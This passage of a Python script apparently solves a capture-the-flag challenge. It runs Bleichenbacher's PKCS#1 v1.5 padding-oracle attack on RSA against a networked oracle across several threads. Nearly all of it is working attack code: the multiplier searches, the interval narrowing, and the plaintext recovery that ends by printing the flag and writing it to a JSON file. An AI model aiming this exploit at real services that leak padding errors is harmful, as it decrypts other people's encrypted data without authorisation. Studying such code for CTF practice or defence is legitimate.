            time.sleep(2)
            continue
        N, E, C = oc.N, oc.E, oc.C
        k = (N.bit_length() + 7) // 8
        B = 1 << (8 * (k - 2))
        p(f"N={N:#x} (k={k}) queries={oc.n_sent}")

        t_start = time.time()
        try:
            # ---- phase 1: find s1 >= ceil(N/3B) with oracle true
            s = cdiv(N, 3 * B)
            CHUNK = 256
            s1 = None
            while s1 is None:
                if stop.is_set():
                    oc.s.close(); return
                mults = [s + i for i in range(CHUNK)]
                res = oc.ask_batch(mults)
                for t, ok in zip(mults, res):
                    if ok:
                        s1 = t
                        break
                s += CHUNK
                if (s - cdiv(N, 3 * B)) % 4096 < CHUNK:
                    rate = oc.n_read / max(time.time() - t_start, 1e-9)
                    p(f"phase1: scanned up to s={s}, {oc.n_read} q, {rate:.0f} q/s")
            p(f"phase1 HIT s1={s1} after {oc.n_read} queries ({time.time()-t_start:.0f}s)")

            # ---- phase 2
            M = [(2 * B, 3 * B - 1)]
            s_last = s1
            m_found = None
            while m_found is None:
                if stop.is_set():
                    oc.s.close(); return
                if len(M) == 1:
                    a, b = M[0]
                    if b - a <= 16:
                        for cand in range(a, b + 1):
                            if pow(cand, E, N) == C:
                                m_found = cand
                                break
                        else:
                            p("interval failed to verify -- restarting attack")
                            break
                        continue
                    r = cdiv(2 * (b * s_last - 2 * B), N)
                    got = False
                    while not got:
                        s_min = cdiv(2 * B + r * N, b)
                        s_max = (3 * B - 1 + r * N) // a
                        if s_min > s_max:
                            r += 1
                            continue
                        pos = s_min
                        while pos <= s_max and not got:
                            if stop.is_set():
                                oc.s.close(); return
                            mults = list(range(pos, min(s_max, pos + CHUNK - 1) + 1))
                            res = oc.ask_batch(mults)
                            for t, ok in zip(mults, res):
                                if ok:
                                    s_last = t; got = True; break
                            pos += CHUNK
                            if oc.n_read % 8192 < CHUNK:
                                p(f"2c scanning s~{pos} r={r} q={oc.n_read}")
                        if not got:
                            r += 1
                else:
                    got = False
                    scur = s_last + 1
                    while not got:
                        if stop.is_set():
                            oc.s.close(); return
                        mults = [scur + i for i in range(CHUNK)]
                        res = oc.ask_batch(mults)
                        for t, ok in zip(mults, res):
                            if ok:
                                s_last = t; got = True; break
                        scur += CHUNK
                        if oc.n_read % 8192 < CHUNK:
                            p(f"2b scanning s~{scur} q={oc.n_read}")
                # step 3: recompute intervals
                newM = []
                for (a, b) in M:
                    rlo = cdiv(a * s_last - 3 * B + 1, N)
                    rhi = (b * s_last - 2 * B) // N
                    for r in range(rlo, rhi + 1):
                        na = max(a, cdiv(2 * B + r * N, s_last))
                        nb = min(b, (3 * B - 1 + r * N) // s_last)
                        if na <= nb:
                            newM.append((na, nb))
                M = newM
                widths = sum(b2 - a2 + 1 for a2, b2 in M)
                p(f"phase2: s={s_last} intervals={len(M)} total_width_bits={widths.bit_length()} q={oc.n_read}")
                if len(M) == 1 and M[0][1] - M[0][0] <= 16:
                    a, b = M[0]
                    for cand in range(a, b + 1):
                        if pow(cand, E, N) == C:
                            m_found = cand
                            break
            if m_found is None:
                continue
            block = m_found.to_bytes(k, 'big')
            p(f"RECOVERED after {oc.n_read} queries: {block!r}")
            results.append((N, E, C, m_found, oc.n_read))
            stop.set()
            oc.s.close()
            return
        except Exception as e:
            p(f"error after {oc.n_read} queries: {e!r}; restarting")
            try:
                oc.s.close()
            except Exception:
                pass
            time.sleep(1)

def main():
    stop = threading.Event()
    results = []
    logs = []
    loglock = threading.Lock()
    def log(msg):
        with loglock:
            print(f"{time.strftime('%H:%M:%S')} {msg}", flush=True)

    threads = [threading.Thread(target=attack, args=(i, stop, results, log), daemon=True) for i in range(NCONNS)]
    for t in threads:
        t.start()
    for t in threads:
        t.join()
    if results:
        N, E, C, m, nq = results[0]
        block = m.to_bytes((N.bit_length() + 7) // 8, 'big')
        sep = block.index(0, 2)
        flag = block[sep + 1:]
        print("FLAG:", flag.decode(errors='replace'), flush=True)
        with open('session_result.json', 'w') as f:
            json.dump({'N': hex(N), 'E': hex(E), 'C': hex(C), 'm': hex(m), 'queries': nq,
                       'flag': flag.decode(errors='replace')}, f, indent=1)
    else:
        print("no result", flush=True)

if __name__ == '__main__':
    main()